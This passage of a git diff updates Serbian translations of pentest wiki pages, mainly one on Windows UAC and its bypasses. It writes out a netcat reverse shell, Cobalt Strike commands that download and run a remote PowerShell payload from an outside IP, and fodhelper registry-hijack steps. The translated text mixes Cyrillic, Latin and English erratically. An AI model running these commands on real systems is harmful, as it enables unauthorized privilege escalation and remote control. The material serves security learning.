Enterprise CA pripada) **enrollment and edit rights**.\ +Prilikom autentikacije preko trust-a, AD dodaje **Authenticated Users SID** u token korisnika. Dakle, ako domen poseduje Enterprise CA sa template-om koji **allows Authenticated Users enrollment rights**, template bi potencijalno mogao biti **enrolled in by a user from a different forest**. Slično, ako su **enrollment rights eksplicitno dodeljena foreign principal-u od strane template-a**, time se kreira **cross-forest access-control relationship**, što omogućava principal-u iz jednog forest-a da **enroll in a template from another forest**. -Oba scenarija vode ka povećanju **attack surface** sa jednog foresta na drugi. Podešavanja certificate template-a mogu biti iskorišćena od strane napadača da se dobiju dodatne privilegije u stranom domenu. +Oba scenarija dovode do **povećanja attack surface** sa jednog forest-a na drugi. Podešavanja certificate template-a mogu biti iskorišćena od strane napadača da se dobiju dodatne privilegije u foreign domain-u. ## References diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index e791044a9..a0ed822d0 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -4,7 +4,7 @@ ## UAC -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**. Applications have different `integrity` levels, and a program with a **high level** can perform tasks that **could potentially compromise the system**. When UAC is enabled, applications and tasks always **run under the security context of a non-administrator account** unless an administrator explicitly authorizes these applications/tasks to have administrator-level access to the system to run. It is a convenience feature that protects administrators from unintended changes but is not considered a security boundary. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) је funkcija која омогућава prikaz zahteva za saglasnost при покретању активности које захтевају povišene privilegije. Апликације имају различite `integrity` нивое, и програм са високим нивоом може изводити задатке који би могли потенцијално компромитовати систем. Када је UAC омогућен, апликације и задаци увек раде у безбедносном контексту налога без администраторских права осим ако администратор изричито не дозволи тим апликацијама/задатцима приступ на нивоу администратора. Ово је уређај за удобност који штити администраторе од ненамерних промена али се не сматра безбедносном границом. For more info about integrity levels: @@ -13,47 +13,47 @@ For more info about integrity levels: ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -Kada je UAC aktivan, administratorskom korisniku se dodeljuju 2 tokena: standardni token korisnika za obavljanje uobičajenih radnji na regularnom nivou, i token sa administratorskim privilegijama. +Када је UAC активан, администраторском налогу се додељују 2 токена: један за стандардног корисника за извођење уобичајених радњи на регуларном нивоу, и један са администраторским привилегијама. -Ova [stranica](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) detaljno objašnjava kako UAC funkcioniše i uključuje proces logovanja, korisničko iskustvo i UAC arhitekturu. Administratori mogu koristiti sigurnosne politike da konfigurišu kako UAC radi specifično za njihovu organizaciju na lokalnom nivou (korišćenjem secpol.msc), ili da ih konfigurišu i distribuiraju putem Group Policy Objects (GPO) u Active Directory domen okruženju. Različita podešavanja su detaljno objašnjena [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Postoji 10 Group Policy podešavanja koja se mogu postaviti za UAC. Sledeća tabela pruža dodatne detalje: +This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) детаљно објашњава како UAC функционише и обухвата процес пријављивања, корисничко искуство и UAC архитектуру. Администратори могу користити безбедносне политике за конфигурисање начина рада UAC-а специфично за њихову организацију на локалном нивоу (користећи secpol.msc), или их конфигурисати и раширити користећи Group Policy Objects (GPO) у Active Directory домен окружењу. Различита подешавања су детаљно објашњена [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Постоји 10 Group Policy подешавања која се могу поставити за UAC. Следећа табела пружа додатне детаље: | Group Policy Setting | Registry Key | Default Setting | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | -| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Onemogućeno | -| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Onemogućeno | -| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Zatraži pristanak za non-Windows binarne fajlove | -| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Zatraži kredencijale na sigurnom desktopu | -| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Omogućeno (default for home) Onemogućeno (default for enterprise) | -| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Onemogućeno | -| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Omogućeno | -| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Omogućeno | -| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Omogućeno | -| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Omogućeno | +| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled | +| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled | +| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries | +| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop | +| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) | +| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled | +| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled | +| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled | +| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled | +| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled | ### UAC Bypass Theory -Neki programi se automatski podižu na viši nivo privilegija ("autoelevated") ako korisnik pripada administratorskoj grupi. Ti binarni fajlovi u svom _**Manifests**_ sadrže opciju _**autoElevate**_ sa vrednošću _**True**_. Binarni fajl takođe mora biti **potpisan od strane Microsoft-a**. +Neki programi su **autoelevated automatically** ако **корисник припада** **administrator групи**. Ови бинари у свом _**Manifest**_ имају опцију _**autoElevate**_ са вредношћу _**True**_. Бинар такође мора бити **потписан од стране Microsoft-a**. -Mnogi auto-elevate procesi izlažu **funkcionalnost preko COM objekata ili RPC servera**, koji se mogu pozvati iz procesa koji rade sa medium integritetom (privilegije običnog korisnika). Napomena: COM (Component Object Model) i RPC (Remote Procedure Call) su metode koje Windows programi koriste za komunikaciju i izvršavanje funkcija između različitih procesa. Na primer, **`IFileOperation COM object`** je dizajniran za rukovanje operacijama nad fajlovima (kopiranje, brisanje, pomeranje) i može automatski podići privilegije bez prikaza upita. +Многи auto-elevate процеси излажу функционалност преко COM објеката или RPC сервера, које могу да позову процеси који раде са medium integrity (нивоом редовног корисника). Имајте у виду да су COM (Component Object Model) и RPC (Remote Procedure Call) методе које Windows програми користе за комуникацију и извршавање функција између различитих процеса. На пример, **`IFileOperation COM object`** је дизајниран за руковање операцијама над фајловима (копирање, брисање, померање) и може аутоматски да подигне привилегије без приказивања упита. -Takođe, neke provere mogu biti izvršene, na primer proveravanje da li je proces pokrenut iz **System32 directory**, što se može zaobići, na primer, **injecting into explorer.exe** ili druge izvršne datoteke locirane u System32. +Понекад се извршавају провере, као проверa да ли је процес покренут из **System32 directory**, што се може заобићи, на пример, **injecting into explorer.exe** или у други извршни фајл лоциран у System32. -Drugi način za zaobilaženje ovih provera je izmena **PEB**. Svaki proces u Windows-u ima Process Environment Block (PEB), koji uključuje važne podatke o procesu, kao što je putanja do izvršne datoteke. Izmenom PEB-a, napadači mogu falsifikovati (spoofovati) lokaciju svog malicioznog procesa, čineći da izgleda kao da se pokreće iz pouzdanog direktorijuma (npr. system32). Ove lažne informacije prevare COM objekat da automatski podigne privilegije bez prikazivanja upita korisniku. +Други начин да се заобиђу ове провере је модификација PEB-а. Свaki процес у Windows-у има Process Environment Block (PEB), који садржи важне податке о процесу, као што је путања до извршног фајла. Модификацијом PEB-а, нападачи могу фалсификовати (spoofovati) локацију свог злонамерног процеса, чинећи да изгледа да се покреће из поузданог директоријума (као што је system32). Ове лажне информације збуњују COM објекат и доводе до аутоматског подизања привилегија без упита корисника. -Zatim, da bi **zaobišli** **UAC** (podižući sa **medium** nivoa integriteta **na high**), neki napadači koriste ovakve binarne fajlove da bi **izvršili proizvoljan kod**, jer će on biti izvršen iz procesa sa **High** nivoom integriteta. +Да би се **bypass-овао** **UAC** (повећање са **medium** integrity нивоa **на high**), неки нападачи користе ове бинаре да **изврше произвољни код**, јер ће бити извршени из процеса са High level integrity. -Možete proveriti _**Manifest**_ binarnog fajla koristeći alat _**sigcheck.exe**_ iz Sysinternals. (`sigcheck.exe -m `) I možete videti **nivo integriteta** procesa koristeći _Process Explorer_ ili _Process Monitor_ (iz Sysinternals). +Možete **proveriti** _**Manifest**_ бинарног фајла користећи алат _**sigcheck.exe**_ из Sysinternals. (`sigcheck.exe -m `) И можете видети `integrity` ниво процеса користећи _Process Explorer_ или _Process Monitor_ (из Sysinternals). ### Check UAC -Da biste potvrdili da li je UAC omogućen uradite: +Да потврдите да ли је UAC омогућен урадите: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` -Ako je **`1`** onda je UAC **aktiviran**, ako je **`0`** ili ne postoji, UAC je **neaktivan**. +Ako je **`1`** onda je UAC **omogućen**, ako je **`0`** ili ne postoji, onda je UAC **onemogućen**. Zatim proverite **koji nivo** je konfigurisan: ``` @@ -62,29 +62,29 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` -- If **`0`** then, UAC won't prompt (like **disabled**) -- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop) -- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop) -- If **`3`** like `1` but not necessary on Secure Desktop -- If **`4`** like `2` but not necessary on Secure Desktop -- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges +- Ako je **`0`**, UAC neće tražiti potvrdu (kao da je **onemogućeno**) +- Ako je **`1`**, administratoru se traži **korisničko ime i lozinka** da izvrši binarni fajl sa visokim privilegijama (na Secure Desktop) +- Ako je **`2`** (**Uvek me obaveštavaj**) UAC će uvek tražiti potvrdu od administratora kada pokuša da izvrši nešto sa visokim privilegijama (na Secure Desktop) +- Ako je **`3`**, slično kao `1` ali nije neophodno na Secure Desktop +- Ako je **`4`**, slično kao `2` ali nije neophodno na Secure Desktop +- Ako je **`5`** (**default**), tražiće od administratora potvrdu da pokrene ne-Windows binarne fajlove sa visokim privilegijama Zatim, treba da pogledate vrednost **`LocalAccountTokenFilterPolicy`**\ -Ako je vrednost **`0`**, onda samo korisnik **RID 500** (**built-in Administrator**) može da izvršava **admin zadatke bez UAC**, a ako je `1`, **svi nalozi u grupi "Administrators"** mogu to da rade. +Ako je vrednost **`0`**, onda samo korisnik **RID 500** (**built-in Administrator**) može da izvršava **admin zadatke bez UAC**, a ako je **`1`**, **svi nalozi u grupi "Administrators"** mogu to da rade. -I, na kraju, pogledajte vrednost ključa **`FilterAdministratorToken`**\ -Ako je **`0`** (default), **built-in Administrator account može** da obavlja zadatke udaljene administracije, a ako je **`1`** built-in Administrator nalog **ne može** da obavlja udaljenu administraciju, osim ako `LocalAccountTokenFilterPolicy` nije postavljen na `1`. +I na kraju, pogledajte vrednost ključa **`FilterAdministratorToken`**\ +Ako je **`0`** (podrazumevano), **built-in Administrator** nalog može da obavlja daljinske administratorske zadatke, a ako je **`1`**, built-in Administrator **ne može** da obavlja daljinske administratorske zadatke, osim ako `LocalAccountTokenFilterPolicy` nije postavljen na `1`. -#### Sažetak +#### Rezime -- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone** -- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone** -- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)** -- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone** +- Ako `EnableLUA=0` ili **ne postoji**, **nema UAC za nikoga** +- Ako `EnableLua=1` i **`LocalAccountTokenFilterPolicy=1`**, nema UAC za nikoga +- Ako `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=0`**, nema UAC za RID 500 (Built-in Administrator) +- Ako `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=1`**, UAC za sve -All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs` +Sve ove informacije se mogu prikupiti korišćenjem **metasploit** modula: `post/windows/gather/win_privs` -You can also check the groups of your user and get the integrity level: +Takođe možete proveriti grupe vašeg korisnika i dobiti nivo integriteta: ``` net user %username% whoami /groups | findstr Level @@ -92,15 +92,15 @@ whoami /groups | findstr Level ## UAC bypass > [!TIP] -> Imajte na umu da ako imate grafički pristup žrtvi, UAC bypass je jednostavan jer možete jednostavno kliknuti na "Da" kada se pojavi UAC prompt +> Imajte na umu da ako imate grafički pristup žrtvi, UAC bypass je jednostavan jer možete jednostavno kliknuti na "Yes" kada se pojavi UAC prompt -The UAC bypass is needed in the following situation: **UAC je aktiviran, vaš proces radi u kontekstu srednjeg nivoa integriteta, i vaš nalog pripada grupi administratora**. +UAC bypass je potreban u sledećoj situaciji: **UAC je aktiviran, vaš proces radi u medium integrity context, i vaš korisnik pripada Administrators group**. -Važno je napomenuti da je **mnogo teže zaobići UAC ako je na najvišem nivou bezbednosti (Always) nego ako je na nekom od ostalih nivoa (Default).** +Važno je napomenuti da je **mnogo teže zaobići UAC ako je na najvišem nivou bezbednosti (Always) nego ako je na nekom od drugih nivoa (Default).** -### UAC disabled +### UAC onemogućen -If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like: +Ako je UAC već onemogućen (`ConsentPromptBehaviorAdmin` je **`0`**) možete izvršiti reverse shell sa administratorskim privilegijama (high integrity level) koristeći nešto poput: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -111,9 +111,9 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) -### **Vrlo** osnovni UAC "bypass" (potpun pristup fajl sistemu) +### **Veoma** osnovni UAC "bypass" (puni pristup fajl sistemu) -Ako imate shell sa korisnikom koji je u grupi Administrators, možete **mount-ovati C$ share preko SMB-a** lokalno kao novi disk i imaćete **pristup svemu u fajl sistemu** (čak i Administratorovom korisničkom direktorijumu). +Ako imate shell sa korisnikom koji je član Administrators group, možete **mount the C$** deljeni resurs preko SMB (file system) lokalno kao novo diskovno slovo i imaćete **pristup svemu unutar fajl sistema** (čak i Administrator home folder). > [!WARNING] > **Izgleda da ovaj trik više ne radi** @@ -126,7 +126,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` ### UAC bypass sa cobalt strike -Tehnike Cobalt Strike rade samo ako UAC nije podešen na maksimalni nivo bezbednosti. +Tehnike cobalt strike će raditi samo ako UAC nije podešen na maksimalni nivo bezbednosti. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -138,7 +138,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** i **Metasploit** takođe imaju nekoliko modula za **bypass** **UAC**. +**Empire** and **Metasploit** takođe imaju nekoliko modula za **bypass** **UAC**. ### KRBUACBypass @@ -146,10 +146,10 @@ Dokumentacija i alat na [https://github.com/wh0amitz/KRBUACBypass](https://githu ### UAC bypass exploits -[**UACME** ](https://github.com/hfiref0x/UACME) koji je **kompilacija** nekoliko UAC bypass exploits. Imajte na umu da ćete morati **kompajlirati UACME koristeći visual studio ili msbuild**. Kompilacija će kreirati nekoliko izvršnih fajlova (npr. `Source\Akagi\outout\x64\Debug\Akagi.exe`), moraćete da znate **koji vam je potreban.**\ -Trebalo bi da budete **pažljivi** jer će neki bypass-i **pokrenuti neke druge programe** koji će **obavestiti** **korisnika** da se nešto dešava. +[**UACME** ](https://github.com/hfiref0x/UACME) koji je **kompilacija** nekoliko UAC bypass exploits. Imajte na umu da ćete morati **kompajlirati UACME koristeći visual studio ili msbuild**. Kompilacija će napraviti nekoliko izvršnih fajlova (npr. `Source\Akagi\outout\x64\Debug\Akagi.exe`), moraćete da znate **koji vam treba.**\ +Treba da budete **oprezni** jer će neki bypasses **pokrenuti neke druge programe** koji će **obavestiti** **korisnika** da se nešto dešava. -UACME sadrži **build verziju od koje je svaka tehnika počela da radi**. Možete pretražiti tehniku koja utiče na vaše verzije: +UACME ima **build verziju od koje je svaka tehnika počela da radi**. Možete pretražiti tehniku koja utiče na vaše verzije: ``` PS C:\> [environment]::OSVersion.Version @@ -157,17 +157,17 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Takođe, koristeći [this](https://en.wikipedia.org/wiki/Windows_10_version_history) stranicu dobijate Windows izdanje `1607` iz verzija build-a. +Takođe, koristeći [this](https://en.wikipedia.org/wiki/Windows_10_version_history) stranicu dobijate Windows izdanje `1607` iz build verzija. ### UAC Bypass – fodhelper.exe (Registry hijack) -Pouzdani binarni fajl `fodhelper.exe` se automatski povišava na modernim Windows sistemima. Kada se pokrene, upituje per-user registry putanju ispod bez validacije `DelegateExecute` verbe. Postavljanje komande tamo omogućava procesu sa Medium Integrity (korisnik je u Administrators) da pokrene proces sa High Integrity bez UAC prompta. +Pouzdani binarni fajl `fodhelper.exe` se automatski dobija povišene privilegije na modernim Windows sistemima. Kada se pokrene, proverava per-user registry put naveden ispod bez validacije `DelegateExecute` verbe. Postavljanje komande tamo omogućava procesu sa Medium Integrity (korisnik je u Administrators) da pokrene proces sa High Integrity bez UAC prompta. -Registry path queried by fodhelper: +Registry put koji fodhelper proverava: ``` HKCU\Software\Classes\ms-settings\Shell\Open\command ``` -PowerShell koraci (postavite svoj payload, zatim pokrenite): +PowerShell koraci (postavite svoj payload, zatim ga pokrenite): ```powershell # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition" @@ -186,45 +186,45 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe" # 4) (Recommended) Cleanup Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force ``` -Beleške: -- Radi kada je trenutni korisnik član grupe Administrators i UAC nivo je podrazumevan/opušten (ne Always Notify sa dodatnim ograničenjima). -- Koristite putanju `sysnative` da pokrenete 64-bit PowerShell iz 32-bit procesa na 64-bit Windowsu. -- Payload može biti bilo koja komanda (PowerShell, cmd, or an EXE path). Izbegavajte UI koji zahtevaju potvrdu radi prikrivenosti. +Napomene: +- Radi kada je trenutni korisnik član Administrators i nivo UAC je podrazumevan/olabavljen (nije Always Notify sa dodatnim ograničenjima). +- Koristite putanju `sysnative` da pokrenete 64-bitni PowerShell iz 32-bitnog procesa na 64-bitnom Windowsu. +- Payload može biti bilo koja komanda (PowerShell, cmd, ili putanja do EXE). Izbegavajte UI prozore koji zahtevaju unos radi prikrivanja. -#### More UAC bypass +#### Više UAC bypass -**All** the techniques used here to bypass UAC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough). +**Sve** tehnike korišćene ovde za bypass AUC **zahtevaju** a **full interactive shell** sa žrtvom (običan nc.exe shell nije dovoljan). You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**: ![](<../../images/image (863).png>) -(_explorer.exe_ bi trebalo da radi) +(_explorer.exe_ treba da radi) -### UAC Bypass with GUI +### UAC Bypass sa GUI -Ako imate pristup **GUI, jednostavno možete prihvatiti UAC prompt** kada se pojavi — zaista vam tada nije potreban bypass. Dakle, dobijanje pristupa GUI omogućava zaobilaženje UAC. +Ako imate pristup **GUI možete jednostavno prihvatiti UAC prompt** kada se pojavi, zapravo vam ne treba bypass. Dakle, dobijanje pristupa GUI će vam omogućiti bypass UAC. -Štaviše, ako dobijete GUI sesiju koju je neko koristio (potencijalno preko RDP), postoje **neki alati koji će se pokretati kao administrator** iz kojih biste, na primer, mogli **pokrenuti** **cmd** **as admin** direktno bez ponovnog UAC prompta, kao [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Ovo može biti malo **stealthy**. +Pored toga, ako dobijete GUI sesiju koju je neko koristio (potencijalno preko RDP) postoje **neki alati koji će se pokretati kao administrator** iz kojih biste mogli, na primer, **pokrenuti** **cmd** **as admin** direktno bez ponovnog UAC prompta, kao [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Ovo može biti malo više **stealthy**. ### Noisy brute-force UAC bypass -Ako vam ne smeta buka, uvek možete **pokrenuti nešto kao** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) koje **traži elevaciju privilegija sve dok korisnik to ne prihvati**. +Ako vam nije stalo do buke, uvek možete **pokrenuti nešto poput** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) što će **tražiti podizanje privilegija dok korisnik ne prihvati**. -### Your own bypass - Basic UAC bypass methodology +### Vaš vlastiti bypass - Basic UAC bypass methodology -Ako pogledate **UACME** primetićete da **većina UAC bypass-ova zloupotrebljava Dll Hijacking vulnerabilit**y (uglavnom upisujući maliciozni dll u _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). +If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). -1. Pronađite binarni fajl koji će **autoelevate** (proverite da pri izvršenju radi u visokom integritetskom nivou). -2. Pomoću procmon pronađite događaje "**NAME NOT FOUND**" koji mogu biti ranjivi na **DLL Hijacking**. -3. Verovatno ćete morati da **upisete** DLL u neke **zaštićene putanje** (kao C:\Windows\System32) gde nemate dozvolu za pisanje. Ovo možete zaobići koristeći: - 1. **wusa.exe**: Windows 7, 8 i 8.1. Omogućava ekstrakciju sadržaja CAB fajla u zaštićene putanje (jer se ovaj alat izvršava u visokom integritetskom nivou). - 2. **IFileOperation**: Windows 10. -4. Pripremite **script** koji će kopirati vaš DLL u zaštićenu putanju i pokrenuti ranjivi i autoelevated binarni fajl. +1. Pronađite binarni fajl koji će **autoelevate** (proverite da li se pri izvršenju pokreće na visokom integritetu). +2. Pomoću procmon pronađite "**NAME NOT FOUND**" događaje koji mogu biti ranjivi na **DLL Hijacking**. +3. Verovatno ćete morati da **write** DLL unutar nekih **protected paths** (kao C:\Windows\System32) gde nemate dozvolu za pisanje. Ovo možete zaobići koristeći: +1. **wusa.exe**: Windows 7,8 and 8.1. Omogućava da se izdvoji sadržaj CAB fajla unutar protected paths (jer se ovaj alat izvršava iz high integrity level). +2. **IFileOperation**: Windows 10. +4. Pripremite **script** da kopirate vaš DLL u zaštićenu putanju i izvršite ranjiv i autoelevated binarni fajl. ### Another UAC bypass technique -Sastoji se u proveri da li neki **autoElevated binary** pokušava da **read** iz **registry** **name/path** nekog **binary** ili **command** koji će biti **executed** (ovo je interesantnije ako binary traži ovu informaciju u okviru **HKCU**). +Sastoji se u praćenju da li neki **autoElevated binary** pokušava da **read** iz **registry** ime/putanju nekog **binary** ili **command** koji će biti **executed** (ovo je interesantnije ako binary traži ovu informaciju unutar **HKCU**). ## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index cc9d3b35f..bdde9bcbc 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -### **Najbolji alat za pronalaženje Windows local privilege escalation vektora:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Najbolji alat za pronalaženje vektora za Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Osnovna Windows teorija +## Uvodna Windows teorija ### Access Tokens @@ -26,27 +26,27 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Ako ne znate šta su integrity levels u Windows-u, trebalo bi da pročitate sledeću stranicu pre nego što nastavite:** +**Ako ne znate šta su integrity levels u Windows, trebalo bi da pročitate sledeću stranicu pre nego što nastavite:** {{#ref}} integrity-levels.md {{#endref}} -## Windows Security Controls +## Windows bezbednosne kontrole -U Windows-u postoje različite stvari koje bi mogle 